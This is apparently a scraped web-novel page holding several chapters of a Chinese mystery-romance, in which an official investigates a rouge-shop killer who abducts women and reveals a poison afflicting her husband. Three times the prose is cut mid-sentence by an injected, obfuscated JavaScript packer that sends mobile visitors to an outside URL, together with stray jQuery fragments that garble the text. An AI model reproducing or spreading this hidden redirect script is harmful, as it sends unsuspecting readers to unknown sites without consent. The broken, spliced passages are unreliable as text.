同样说不出话的,还有从方才开始就站在门外,目睹了两人吵架全程的深月和墨云。 他们下意识地对视了一眼,互相从对方眼中看到了尴尬的神情后,又默默把头扭了回去,琢磨着自己是不是该做点什么。 最后,墨云在门外待命,深月则是进屋帮林雪意收拾东西。 他们来时的行李大部分都已经消失在那艘官船上的大火中了,因此并没有多少东西要打点。深月很快将一些衣服叠好,又从林雪意手中接过官服和文书等物包起来。 晏返待在外间没有走,却又不能好好坐着,才过片刻就如坐针毡,就起身来回踱起步来。 眼看林雪意在里间就要整理好,他脚步一滞,正想找她说话,屋外却传来一声清亮婉转的声音。 “世子万福,姑娘万福。”来人正是明霞。 林雪意正好已收拾好了行囊,闻声从里面出来,向明霞这两日的照顾表示感谢。 明霞又福了福身子,道:“奴婢是下人,奉命行事罢了,怎敢当姑娘的谢?何况奴婢看得出来,有姑娘在的这两日,殿下心情很好。” 边上恰到好处地传来了晏返的一声冷哼。 明霞闻声微微敛眉,低了低头,语声里又流露出几许歉意来:“殿下已经回屋了,说一会儿就不再出来相送了,该是怕见到姑娘离开会难过。殿下还说,这屋子里的东西,本就是为了姑娘准备的,姑娘若有需要,尽量带上便是。” 林雪意摇了摇头,道:“二殿下的心意我心领了,他收留我们已是破费,其他东西我万万不能再收。” 她说着从袖中取出了几张纸递给明霞,道:“这几张药方,就劳烦你转交给二殿下了。” “这是……”明霞接过药方,眼睛幽幽一亮。 “昨日我听说二殿下脾胃不好,因此今日进城的时候,我顺路去了几家医馆,让大夫开了些调理的方子来。” “好。”明霞笑容可掬道,“殿下这一路上舟车劳顿,清减了不少,却又没放在心上。奴婢人微言轻,若是姑娘的嘱托,殿下定然会听的。” 深月跨上了包袱从里间出来,错觉般听到了拳头咯噔作响的声音。 她不明所以地循声看去,就见晏返已经甩袖出了厢房,冷声对墨云道:“这两日我们的吃穿用度,你去与这儿的管事结了。” 林雪意没有在意,同明霞别过后,也带着深月离开了屋子。 一行人离了船,林雪意跟深月上了马车。 深月悄悄撩起车窗的窗帘向外看了看,压低了声音道:“姑娘,二皇子刚才还说不送您,这会儿又在船上看您。” 林雪意不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14294721|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得往窗外瞥去一眼,马车前头就传来了晏返对车夫语气不善的催促声,便又垂下了羽睫,悄悄收紧了手掌。 她现在不仅是监察御史,还是名义上的明远侯府世子夫人,不管是哪一重身份,不论萧落珩的心意如何,她都不能再跟他扯上关系了。 等到了尹阳县的宅子外头,林雪意没有理睬站在马车边的晏返,由深月扶着下车后,径直绕过他去了自己的房间。 过了一阵子,去了伙房的深月从屋外进来,试探问道:“姑娘,厨娘已经备好了晚膳,您要跟世子一起用饭吗?” 正伏在案头写东西的林雪意闻言手中一顿,道:“让他吃吧,我不饿。” 原本以明远侯府的势力,在这县城里置办宅子只是小事一桩,但她担心会引起有心之人的注意,因此特意嘱咐墨云只租一间简单宅院便可。 虽然墨云请了几个洒扫、煮饭的佣人,她还是有意隐藏了几人的身份,对外也只称他们是一对从外地来探亲的夫妻。 因此这宅子的伙房也不大,不像侯府还有小厨房,厨娘自然也不知道男女主人刚吵完一架,没有特意分开来准备饭食。 “姑娘哎,”深月叹了口气,劝道,“您就算生气也不能委屈了自己的肚子啊。” 林雪意摇着头放下了笔,从善如流道:“那我们上街吃吧。” 深月白日里就听说了这里晚上夜市,顿时来了兴趣,稍加收拾就跟着林雪意出门了。 墨云找的宅子地段很好,跟街市正好隔上两条街,一来安静许多,二来出行也方便。林雪意带着深月横穿过窄巷,很快就走上了热闹的街道。 深月好奇得很,四处张望,没几下就看花了眼,拉着林雪意叹道:“姑娘,这里的夜市好像比泤水县还要热闹!” 林雪意从熙熙攘攘的人群中收回视线,笑着望了她一眼,道:“此处的清淮江往北与泤水河相连,往南则直通大海,琅琊渡又是个大港,每日途径此处的商船就不知道有多少,自然繁华。” “原来如此。”深月若有所思地点点头,像是想起了什么,忽道,“姑娘,既然这里商户众多,等我们吃了饭就上布庄去看看吧。” “去布庄做什么?”林雪意有些不解。 下午逛街的时候,她已经跟深月去成衣店买了一些要穿的衣裳,暂时没有去买布料做衣服的必要了。 深月脸上浮起了惋惜的神情,道:“姑娘原先的衣服不都因为船难没能留下来嘛,老爷给您定的那套也是,白日里我在衣店里还特意向掌柜打听过,没有那种样式的……” 原来深月一直在记挂着这件事,林雪意有些意外之余感到心头一暖。 回想白日在成衣店里买衣服的景象,确实是没有像她那套衣服那样的。但是他们几人能够幸免于难已是不幸中的万幸,身外之物也不重要了。 林雪意刚想说些肺腑之言,脚步却突然顿住。 方才在脑海中一一闪过的画面陡然定格在眼前,林雪意不觉出声:“对啊……” “姑娘,您说什么?”这下轮到深月疑惑不解了。 林雪意心念急转,面色一变,她来不及解释,拉起深月就朝街市深处走去。 今日她们去的衣店的掌柜就是男子,几间医馆的坐堂大夫也是男子,那么胭脂铺的掌柜为什么不能是男子呢? 她只想到向胭脂铺子打听买胭脂水粉的男客,却忽略了另外一种可能—— 犯人或许就是胭脂铺的老板本人! 55. 暗算 “姑娘,我们这是要去哪儿?”深月一边跟着林雪意跑,一边问。 林雪意边跑边道:“去商会。” 尹阳县里商户众多,一间间去看过于耗费时间,既然她已经知道了胭脂铺的问题所在,那么只要去商会问询,就可以知道她要找的那间铺子在何处! 商会的位置并不难找,两人沿路打听,很快就到达了商会所在的景阳堂。 林雪意借口自己是随夫君来此处做胭脂生意的,在给铺子选址,向商会的会长要了此处商铺的分布图,又看了县城中的胭脂铺面名录。 在尹阳县众多售卖胭脂香粉的铺面中,林雪意一眼看到了那间由男掌柜打理的玉仪坊。这是县里唯一一间由男子经营的的胭脂铺,掌柜名叫孟长宇。 林雪意立刻带着深月赶往玉仪坊。 玉仪坊坐落在不起眼的街角,铺面很小,因此店里客人稀少。偶有客人入店,孟长宇也并不起来招呼,只在货柜后面坐着,看起来并不像是在做生意。 林雪意觉得孟长宇的身形跟她在回溯时看到的男子背影极其相似,但如果贸然入店,又怕他突然发难,她和深月恐怕不是他的对手。隔着一段距离打量了一阵后,她便让深月回去找墨云当个帮手。 然而,就在她交代完深月,转身再去看那胭脂铺时,原本在店里坐着的孟长宇却不见了。 林雪意心下疑惑,却有人在身后拍了拍她的肩。 · 天上无月。 寒风过处,树枝摇曳,在饭厅外的地面上投落摇晃的暗影。 晏返一人坐在厅中,拿着筷子有一下没一下地敲着桌上的醋鱼,面色阴沉。 墨云出现在饭厅外头时,看到就是这样一副景象。 他迟疑了一瞬,边进屋边对晏返道:“世子,大人她……” 眼见晏返手中的执的筷子顷刻间将那条醋鱼断成了两截,墨云错觉般感到身上刺痛了一下,立刻改口道:“少夫人她刚刚上街去了,属下是否要跟上去看看?” “不必了。”晏返将手中的筷子顿上菜碟,眸色幽沉,“让她冷静一下也好。” “世子……”墨云欲言又止了片刻,硬着头皮道,“属下觉得,该冷静的人……是您。” “好啊墨云。”晏返面色不善地打量着墨云,道,“这才两日没见,你胳膊肘都朝外拐了?” 听到这似曾相识的话,墨云顿时觉得自己的胳膊不太好,但还是道:“属下看得出来,少夫人还是很关心您的。” “跟深月待久了,你倒是学会安慰人了。”晏返仰头将面前杯中的酒一饮而尽。 墨云猛地一哽,解释道:“昨日您昏迷之时,少夫人照顾了您一整夜。” 拿着酒杯的手陡然顿住,晏返眼底浮起一抹疑色,似乎不太相信墨云说的话:“林雪意真的照看了我一夜?” “属下所言,千真万确,少夫人是天亮了才回房的。” “算她还有点良心。”晏返眼底寒霜不由消融几许,继而他面色变了变,问,“那我就没做些什么?” “有的。”想起昨晚所见,墨云莫名觉得有点耳热,把头低了低。 晏返面上不动声色,却暗暗感到心脏被悬了起来,看向墨云的眼神极少见地透出一丝紧张。 只听墨云接着道:“您死抓着少夫人的手不放。” 不安鼓动的心顿时落回到原处,晏返眼中有些幸然:“这可真是稀奇。” 自从中了寒梅之毒后,他便有意不在夜深时见人。 此毒的毒性诡异非常,每夜子时前后毒发之时,他全身气血逆行,极为煎熬,虽然功力较之平时不足,但他却能感觉到自己体内汹涌的狂乱杀意。 他原本是怕自己错手伤了林雪意才避开她,可是在离开泤水县的前一夜,他被林雪意撞见毒发,他对她生出的却不是杀意,而是想将她拆吃入腹的欲望。 方才听墨云说林雪意照顾了他一夜,他还担心自己在不清醒的时候对她做出什么冒犯的举动。但就墨云所说,应该没发生什么。 大抵是他伤得重,也幸好他伤得重。 一念至此,他又不知缘由地感到心中空落落的。 白日里林雪意和萧落珩在一处的画面又浮现眼前,晏返只觉得心头梗得厉害,差点握碎手中空杯。他眸光冷下几分,微沉的语声不带温度:“给我去查萧落珩。” “世子,这……这不妥吧?”墨云向来对晏返言听计从,此时却不免有些犹豫,“那可是二皇子。何况少夫人跟二皇子也没什么。” 晏返觑他一眼,面色更冷:“若真是没什么,她如何能将萧落珩脾胃不好的事放在心上?她为了他还特意去医馆问方子。” 他没说出口的是,林雪意不但去开药方,还去了好几家医馆。他到现在,似乎都还能闻到那从药方纸上散入空气里的苦味…… 想到此处,晏返不由用力嗅了嗅,有些疑惑地问墨云:“你闻到什么味道没有?” 墨云耿直道:“酸味。” 晏返瞪了他一眼,道:“我说的是药味。” 空气中是真的有一股药味,而且随着由远及近的脚步声,那药味越来越浓。 两人循着脚步声看去,果然就看见厨娘端了一碗药汁进来。 “这是什么?”墨云上前问道。 “墨护卫,这是夫人让奴婢熬的药。” “夫人让熬的?”墨云不解地回头看了晏返一眼。 他自然知道厨娘口中的夫人指的就是少夫人,但他却不知道少夫人是什么时候吩咐下去的。毕竟他们一同到了此处后,少夫人就生气地去了自己的院子,没有出来过。 厨娘点头道:“夫人下午来宅子里看过,当时就把抓的药交代给奴婢了。夫人说是给老爷准备的伤药,文火熬着效果最好。这药熬着费时,就提前拿来了。” 晏返只觉心头猛然一颤,站了起来。 “老爷您放心喝吧。”厨娘边说边将药放到晏返面前,“这里头的药材奴婢都看过,讲究得很,想来夫人跑了不少药铺跟医馆。” 厨娘说完就退下了,晏返却僵在了原地。 他眉间神色闪动,目光慢慢落在自己跟前的那碗药上,眼底满是难以置信。 他收在袖中的手指早已掐进了手心,但是胸口处的悸动却无法遏止。一股难以名状的欢喜就随着那古怪的心悸,一点一点充盈了胸腔。 ……她心里分明有他! 他再没有什么停留的心思,抬步便往屋外走去。 “世子,您要去哪儿?”墨云边问边从后面追上来。 “去找林雪意回来。”说话的当下,晏返已经大步走到宅子门口。他刚迈出门槛,就看见深月气喘吁吁地跑过来。 深月见到他似乎有些吃惊,顿了顿,道:“世子,我家姑娘已经找到犯人藏身的地方了,让我回来找个帮手。” 听深月的意思,林雪意正一个人在凶犯附近,晏返心头一凛,忙道:“快带我去。” 街道上灿烂的灯火随着耳畔风声簌簌而过,深月说的玉仪坊隐隐就在前方,他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335816|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中却愈发焦灼。 他还没想好要怎么跟她道歉,甚至都没想好要跟她说些什么,但他却想快点见到她。 可是当玉仪坊近在眼前时,他胸口却陡然一滞,巨大的失落夹带隐痛袭上心头——铺面已经关门打烊,店门外空无一人。 “林雪意!”晏返一脚踹开店门,店里却死寂一片。四处都是货柜在地面投下的黢黑阴影,没有一点活人的气息。 “姑娘!您在哪儿?姑娘!”深月也跟着跑进店里四下寻找,但是哪里都没有林雪意的影子。 想到自家姑娘很可能已经落入犯人手中,又想到这两日见到的那两具让人毛骨悚然的尸体,深月急得呜呜哭了起来。 “别急,世子会找到大人的。”墨云安慰她道。 深月点点头,抬手擦泪。近旁突然响起一阵清越的骨笛声,她正想去看声音从何处而来,突然感到后颈一痛,整个人就失去了知觉。 墨云刚拥住被他打晕的深月,就瞥见八道影子整齐划一地从上方落下。 他们皆是一身黑衣,头戴抹额,伏跪下来的刹那,黑衣下摆有如银浪滚动。 八人异口同声,抱拳问道:“首尊有何吩咐?” “林御史失踪了。”晏返眸中锐色闪过,沉声分派道,“乾一、兑二、离三、震四,你们四人分头往四方沿路搜寻,巽五,坎六,艮七,坤八,你们四人也按四个方向,逐一排查码头、客栈、商铺、酒楼。若有发现,即刻来报!” “是!”八道身影应声消失,仿佛一场烟波幻影。 晏返瞥了一眼边上的墨云以及昏睡在他怀中的深月,冷笑一声:“这小丫头牙尖嘴利,你不怕她醒来后找你算账?” “属下只能出此下策。”墨云额角滚落一滴冷汗。 绣衣署的暗探决不能自曝身份,那是死罪,知晓暗探身份之人亦会连坐。 暗探的行迹也决不能暴露于人前,若是不慎被人目睹,念及其人无辜,会对其用药使之丧失近日记忆。 打晕深月总比让她事后犯迷糊好。 “罢了。”晏返收回目光向外走去,挺拔背影透着冷峭,如覆了万年霜雪,“你先安顿好她,然后去商会查查这家店掌柜的底细。” “是。”墨云抱起深月跟上两步,问道,“您接下来要去哪儿?” “我去会会此处的知县,付世仁。” · 林雪意在恍惚中感到耳畔的声音有些熟悉。 好像就在不久前,她听过这种充盈耳廓的声音,低沉而持久。 但是她的眼皮沉得抬不起来,身体早已不听使唤,只能隐约感觉到似乎正受人摆布。 周身涌动的冰冷让她终于想起,此时正不停响起在耳侧的,是人在水下才能听到的水流声。 浑浑噩噩间,她无法感知时间的流走,只是身上的冰冷退去的时候,四周已经死寂一片。 神智渐渐回笼,林雪意只觉得吸入肺腑的空气泛着一股潮气。她卯足了劲试着掀起眼皮,一个陌生中透着几分熟悉的阴暗空间便映入了她的眼帘。 这……不就是她在回溯中看到的那间囚禁芷柔的石室? 林雪意忙坐起身想要寻找芷柔的身影,却冷不防被不远处的一张脸孔攫住了目光,顿时头皮发麻—— 那是一张美艳妖冶的脸,五官精致端丽却周正得近乎诡异,漂亮的眼睛弯成一个微笑的弧度,却透出一股浓烈的死气。 无可挑剔的五官之间隐约能窥见纵横的细线,那分明是一张由不同尸块拼凑出来的脸! 56. 毒性 一股森寒猛然窜上脊背,林雪意正要惊叫出声,却有一只手从旁伸出捂住了她的嘴。 石室里顿时响起金属摩擦之声,林雪意惊疑不定地移过目光,不由心头鼓动——正捂住她嘴巴的少女虽然满脸泪痕,形容狼狈,却难掩容貌明艳,可不就是失踪已久的芷柔? “嘘。”芷柔连忙做了个噤声的手势,紧皱眉头冲她直摇头。 林雪意点头示意自己明白,对方这才松开了手。 “芷柔,你还活着!太好了!”林雪意压低声音,却难掩心中欣喜。 虽然她还不清楚自己失去意识的时候都发生了些什么,但是由眼前所见不难推断,她是在玉仪坊外着了歹人的道,被掳到了此处。 幸好不是全无收获,或许她来得还不算太迟。 只是眼下她和芷柔一样,手脚都被锁链捆住,外头还有一圈栅栏将她们困在石室的一角,想要脱身恐怕并不容易。 “你认得我?”芷柔不由睁大了眼睛,眼底混杂着惊喜和慌乱,眼眶顿时就红了起来,“我娘……我娘她……” 林雪意握住她的手安抚她道:“你放心,就是方大娘请我来找你的。” 眼下石室中除了自己和芷柔便再无他人,林雪意便简单将事情经过告诉了芷柔。 “你可知这里是何处?”林雪意边问边打量着这间昏暗的石室。石室并不算大,四面无窗,只以一盏灯照亮,空气中充盈着潮气。 芷柔直摇头,带着哭腔道:“我在铺里买胭脂被弄晕,醒来就在这里了。” 林雪意被她的话所提醒,问道:“将你抓到此处的人,可是玉仪坊的掌柜孟长宇?” “就是他。” 林雪意正想追问,栅栏外的石板底下却依稀传来铁链相撞的当啷声,心头不禁又浮现疑惑——难道石室底下还有其他人? 芷柔显然也听到了那声音,她顿时脸色更白,怯怯地冲声音传来的方向瞥去一眼,磕磕绊绊道:“那、那下面好像关着野兽,上面动静一大,它们就会被惊醒,吓人得很。” 难怪刚才芷柔让她不要出声,林雪意越发感到孟长宇此人行事乖张诡异。 “他抓女子过来是为了做什么?”林雪意说着下意识看了一眼对面墙上的那张诡异的脸,不好的预感油然而生。 那七拼八凑的脸妆容精致,却让人感觉脊背发凉,几欲作呕。 “为了……”芷柔脸色更差,她深吸了一口气往那张阴森可怖的脸看去一眼,颤声道,“为了……做、做那个东西。” 林雪意顿时明白过来,那具被当做阿琴下葬的那具尸体,被剥掉的脸去了何处。 看来这孟长宇拐走女子,就是在物色能令他满意的五官,好拼凑出符合他喜好的脸孔。 可是刚弄清楚这一点,新的疑惑又出现了。 她不觉出声道:“可是真正的阿琴尸体,她的脸没有被剥去啊。” “嘿嘿嘿……”石室一侧的石门外立刻传来一声怪笑,粗糙沙哑的声音随着一阵阴风刮了进来,“那不是因为我找到了更好的吗?” 这笑声令人汗毛倒竖,林雪意警觉地移过目光,等看清从石门后走出来的人影后,更是脊背发凉。 石室里昏暗的火光映亮的男人的脸爬满了疤痕和皱纹,丑陋,扭曲,阴寒。 “嘿嘿嘿……”看到林雪意脸色苍白,对方又阴恻恻笑了一阵,歪斜的嘴一张一合道,“小美人,你又叫什么名字啊?” 林雪意没有回答他,而是皱眉反问道:“你就是孟长宇?” 她在玉仪坊外看到的孟长宇并不是这样的长相,虽然相貌平庸,仿佛随时就能淹没在人堆里,但是并不丑陋。 “我如果不打扮打扮,你们这些小美人哪敢到我的店里来?”孟长宇看出了她的疑惑,故作为难地叹了口气,贪婪的目光在她和芷柔身上来回流连。 芷柔立即浑身颤抖,低低地啜泣起来。 “别哭呀。”孟长宇见状怪声怪气地道,“一会儿就要死了,留一张哭脸在尸体上多不好看呀。” 林雪意警惕地看着他,问:“你想做什么?” “自然是把她做成样方了。”孟长宇边说边打开锁住了她们的栅栏,“为了这事我可是筹备了好多天了。” “样方?”林雪意一时有些不解,但是想到那张拼凑的脸,又倏然明白过来。 孟长宇的意思,应该是想把芷柔也处理成阿琴那样不腐的尸体,然后像那张脸一样摆放陈列起来。 怒意自心底升腾,林雪意质问道:“你为什么要这么做?” “这有什么为什么呢?”孟长宇像是听见了什么极其好笑的笑话一般,咧开嘴狞笑着道,“我就是喜欢那样的脸啊。” 他说着向那张妖冶诡异的脸瞥去一眼,叹息道:“可是拼出来的到底是没有天生的好。你看看,这个芷柔是不是长得跟她很像?比之前那个叫阿琴的更像!” 孟长宇说的“她”便是那张他用尸块拼成的脸,芷柔的相貌确实跟那张脸有七分相像。 “小美人,你长得这么美,应该会懂我吧?”孟长宇一面朝墙角走去一面从袖中拿出一块散发着刺鼻气味的白布,盯着芷柔的双眼冒出了精光。 林雪意眼中闪过一丝厌恶,将芷柔护在了身后,斥道:“你这变态龌龊的心思,我不懂。” 孟长宇顿住了脚步,眼神闪了闪,扭曲的面孔上又露出了阴森的笑容:“怎么,我要把她做成收藏,你不高兴?别急,有你的位置。” 他说着一把抓住林雪意将她甩开,脚步轻快地朝芷柔走过去。 对方虽然个子不高,但力道极大,林雪意全身撞上了坚硬的铁栅栏,疼得金星直冒。若不是禁锢手脚的铁链扯住了她,她的骨头怕是都要被震断。 石室里响起了芷柔凄厉的尖叫,孟长宇显然是打算毒杀芷柔,林雪意顾不得许多,匆忙爬起来去拽住孟长宇正要捂住芷柔口鼻的手。 “别碍事!”孟长宇手臂一甩,林雪意摔得扑倒在地上。但她却死死抓住他的衣袖不肯松手,喉头漫出了淡淡的铁锈味。 “哎呦!”孟长宇像是不堪其扰一般停了下来,转身看向林雪意,面目狰狞地喘着粗气,不耐烦地道,“说了会轮到你,偏要赶着上来送死!” 他说着松开了芷柔,手中的白布飞快地朝林雪意脸上压过来。 孟长宇力道蛮狠,林雪意虽然已经立时抬手去挡,浸泡过毒液的白布还是挨上了她的鼻尖。 就在她脑袋发晕的时候,一道身影从角落里扑过来抓住了孟长宇的手,正是芷柔。孟长宇反手扇了一个耳光,芷柔就被打飞出去。 “贱人!”孟长宇上前两步正想发难,却突然又有些手足无措起来,蹲下来看着嘴角溢血,瑟瑟发抖的芷柔,语调扭捏又渗人,“哎呀,这……我可真是的,差点就要把这张脸打坏了。” 他状似无奈地摇了摇头,复又转身看向林雪意,用商量的口吻同她道:“小美人,芷柔这样子只能等痊愈了再死了,看来还是得让你先去了。” 眼看白布又到了自己眼前,林雪意却已被摔得全身钝痛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369091|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再无力气抵挡,不由惊出了一身冷汗。 孟长宇却突然停住了。 他眼中的凶光闪了闪,挪开了白布,反而是凑近林雪意嗅了嗅,布满血丝的瞳孔中闪现惊异的光。 “难道这是……”他话说到一半又皱眉摇了摇头,又向挨向林雪意嗅起来,自言自语道,“不对呀……” “你做什么?”林雪意立即往身后缩了缩,后背很快顿上了坚硬的墙,退无可退。 孟长宇似乎想通了什么,眼中闪过一丝了然,嘿嘿笑着站了起来,道:“没想到在这里能遇上师兄的手笔。” 对方显然意有所指,并且是和她有关的,林雪意眉心微蹙,问道:“什么意思?” “君自故乡来,应知故乡事。来日绮窗前,寒梅著花未?”孟长宇不知哪里来的兴致,反而阴阳怪气地吟了一首王摩诘的诗。 他的声音回荡在阴湿的石室里,让人毛骨悚然。 “小美人,你身上有寒梅的气味。”孟长宇表情神秘地看着林雪意,道,“但以你这副身子肯定是承受不住的,所以我猜,是你身边的人中了寒梅。” “寒梅?”林雪意不明就里,却无端心头一跳,袅袅升起一种不祥的预感。 他说的寒梅似乎不是单指梅花,好像还是某种毒药…… 孟长宇见林雪意对他的话感兴趣,顿时兴致盎然起来,道:“那可是我师兄的得意之作。中毒之人就算侥幸活下来,每夜子时全身气血逆行,如万虫噬咬,可以说是生不如死,最终神智全失,沦为嗜血滥杀的行尸走肉。” 孟长宇说得唾沫横飞,林雪意却陡然僵住,脑海中不停闪过一些曾经令她费解的画面,胸口的位置似乎被人压上了一块巨石,压得她喘不过气。 她一瞬不瞬地盯着孟长宇,颤声问:“中毒之人,是不是每到毒发之时,身上就会散出梅花香气?” “对呀!”孟长宇兴奋拍掌应道,丑陋的脸上浮起几分得意的神色,“就是你身上沾上的香气,虽然很淡,但我认得。寻常梅花的香味虽然与此相似,但是气味偏浮,寒梅之毒的香是更加沉更加苦的冷香。” 林雪意心中骤然一痛。 心中涌起的惊涛骇浪让她咬住了唇,怔然之间视野变得模糊,泪水便一颗颗涌出了眼眶。 晏返竟然中了寒梅之毒! 那是什么时候的事? 她掐紧了手心,努力在脑海中搜寻蛛丝马迹,最后她的思绪定格在她和晏返夜探秦府的那一晚。 在秦卓的库房里,是晏返替她挡下了毒针。 那时在瞬息之间,她确实嗅到了空气中稍纵即逝的梅香。 秦卓说那是见血封喉的剧毒,可晏返却告诉她,他找到了解药解了毒。她便没有把晏返身上的异常跟那暗器上的毒联系起来。 “哎,怎么你也哭了?”孟长宇苦恼地耷拉下眉眼,不解道,“寒梅可是我师兄苦心研制的宝贝,轻易不会给人用的,谁中毒了那是他的福气。” 林雪意只觉得有一只无形的手在她的心口处掏了一个洞,惊惧、茫然伴随着抽痛阵阵涌向全身,身体便止不住地颤抖起来。 她哑声问孟长宇:“此毒可有解药?” “有啊。”孟长宇愉快地道。 对方的爽快出乎林雪意的意料,她连忙追问:“如何解?” 孟长宇忽然仰头大笑起来,放肆的笑声在石室里不停回荡。在那笑声轰然的回响中,他接下来说的话更加离奇诡谲—— “只有一种解法,就是所爱之人的心头血。” 57. 质问 林雪意只觉得自己的脑袋嗡的一声轰然炸开,胸腔顷刻间被一股混合着酸涩的愤怒所盈满。 一双水杏眼中怒意汹涌,她瞪着孟长宇,斥道:“你们真是丧尽天良!” “骂我做什么?”孟长宇面露委屈,但那挤眉弄眼的神情却让他的面孔更显扭曲,“都是从药王谷出来的,有点癖好怎么了?我师兄就是喜好折磨人……” 孟长宇话没说完,石板底下突然就传出了野兽咆哮般的吼声。 那声音嘶哑怪异,一阵盖过一阵,此起彼伏,几乎要将人的耳膜震破。显然石室下面关着的野兽不止一头。 “哎呀,差点忘了正事了。”孟长宇说着便起身往栅栏外走。 他走到靠墙的桌边转动烛台,地下传来机括运转的声音,地面上的一处石板便应声打开。 一股古怪浓烈的臭味顿时从石板下涌出,在空气中弥漫开来,那似乎是腐肉的味道,又夹带着些许血腥味和腻人的脂粉气。 底下传出的锁链碰撞之声更响,他顺着石板下的石阶下去,边走边道:“别急呀,不会少了你们的吃食。” 林雪意回过神来,立刻去扶瘫倒在地上的芷柔。 “你怎么样?” 芷柔方才被孟长宇那一掌打得嘴角破裂,又因为摔在地上,额角青紫一片,但她却冲林雪意摇了摇头,道:“大人,刚才谢谢你。” 因为孟长宇那一番关于寒梅的话,林雪意原本心头乱得很,此时见了芷柔的样子,心中波澜退去,心绪竟出奇地平静下来。 不论如何,她要先想办法带芷柔离开这里。 · 夜色深浓之时,高大院门随着一声巨响被骤然轰开。 灯光明亮的院落深处旋即响起女子的惊呼和男人的叱骂声,一队护院立刻从院中鱼贯而出。 须臾后,一个身躯圆胖的中年男人披着外衣醉醺醺地从屋中出来。他内里衣衫不整,面上却全无羞怯之色,反而骂骂咧咧道:“何来狂徒,胆敢来官邸造次?” “你就是付世仁?”微沉嗓音从灯光所不能及的黑暗中传来,语声清醇却毫无温度。 “大胆贼人,既然知道是本官,还不束手就擒!”尹阳县的知县付世仁瞪视黑暗,心中狂怒。 原本今日他心情极好,晚间还高高兴兴吃了酒宴,正听小妾唱十八摸呢,谁知竟被这种不知死活的扫了兴! “付大人好大的架子啊。”醇厚语声里泛着点戏谑,却无端让人后颈发凉。 一道身影便从垂花门后悠悠走出来,衣摆上的金丝银线在灯光下折射粲然的光。 付世仁看得一呆。 他原本以为闯进院中闹事的是打输了官司欲行报复的贱民,却不料来人衣冠楚楚,长身鹤立。 对方一身穿着富贵逼人,看着招摇,却不同于堆砌金银的俗气,云锦绫罗,玲琅美玉,偏是衬得那颀长身姿矜贵清隽。 两相对比,饶是作威作福惯了的付世仁都自惭形秽起来,下意识紧了紧外衣,裹住自己满是横肉的身体。 此人身份显然很不一般,他立刻收敛了怒容,虽然心有狐疑,面上却堆笑拱手,殷勤问道:“敢问阁下是?” 来人深邃眸光从他身上扫过,却又像是压根没将他放进眼里,冷声吐落出一个名字—— “晏返。” 付世仁心中立时咯噔了一下,脸上横肉登时抽搐起来。 他像是心存侥幸一般,瞪着一双本就不大的眼睛打量这位不速之客,视线在对方腰间昭示主人身份的玉佩上晃了又晃之后,两眼一翻差点厥过去。 此人怎么会出现在这里?! “大人!”闻风赶来的县衙师爷忙不迭地扶住了两腿发软的付世仁。 “你究竟……你究竟……”付世仁显然是被吓得不轻,在师爷的搀扶下,颤着手指向晏返,连话都讲不利索了。 晏返幽沉眸色中浮起一抹讥诮,替他说完了他未能说出口的话:“我究竟是人是鬼?看来本世子还活着让你很吃惊。” 付世仁的师爷显然脑子比付世仁好使一些,他眼珠子滴溜溜一转,赔笑道:“阁下可是明远侯府晏世子?听闻世子和林御史正往徐州而来,我家大人一直翘首以盼,时刻准备相迎。可无奈大人今日受了风寒,言语无状,望世子恕罪。” “啊是是是……”被师爷这么一提醒,付世仁也反应过来,硬逼着自己站直了,拱手赔罪道,“下官感染风寒,误了接待世子的时机,还请世子多多担待,多多担待,哈哈哈……” 晏返冷眼觑着面前的两人唱双簧,心中早没了看戏的心情。 他不是不会做戏,正相反,从他藏起自己身份的那天起,他便无时无刻不在演戏。但想让他逢场作戏,也要看对方是谁。 眼下林雪意不在,没让这两个蹩脚的蠢货血溅当场已经是他最大的忍耐。 院中一阵罡风扫过,付世仁也不知道发生了什么,他只感到一阵天旋地转,等到反应过来的时候,周遭已经一片鬼哭狼嚎,而他自己正被人踩在脚下,全身都痛。 那只金线勾勒的云锦靴就冷冰冰地碾着他的脸,靴子的主人眼神睥睨,看他就像在看一个死人。 付世仁哪里受过这样的对待,立时气血上涌,他翕动嘴唇想叫人,却发现数十个护院早已倒地不起,他的师爷不知被谁打碎了满嘴的牙,正自顾不暇地满地找牙。 “你!你……我……”付世仁下意识要破口大骂,但又立刻想起对方身份,登时如鲠在喉,一句完整的话都说不出来。 晏返唇角一扬,眼中却殊无笑意,漆黑瞳仁宛如深渊:“前夜本世子坐的船遭遇水贼,本世子和夫人孤立无援,差一点就去见了阎王!付大人,你可真是好算计!” 他当日在船上时就发现了不对劲。 寻常水贼劫船只图钱财,偶尔也有穷凶极恶的,会杀人取乐,但他们遇上的水贼比起金银,却像是更想要所有人的命。 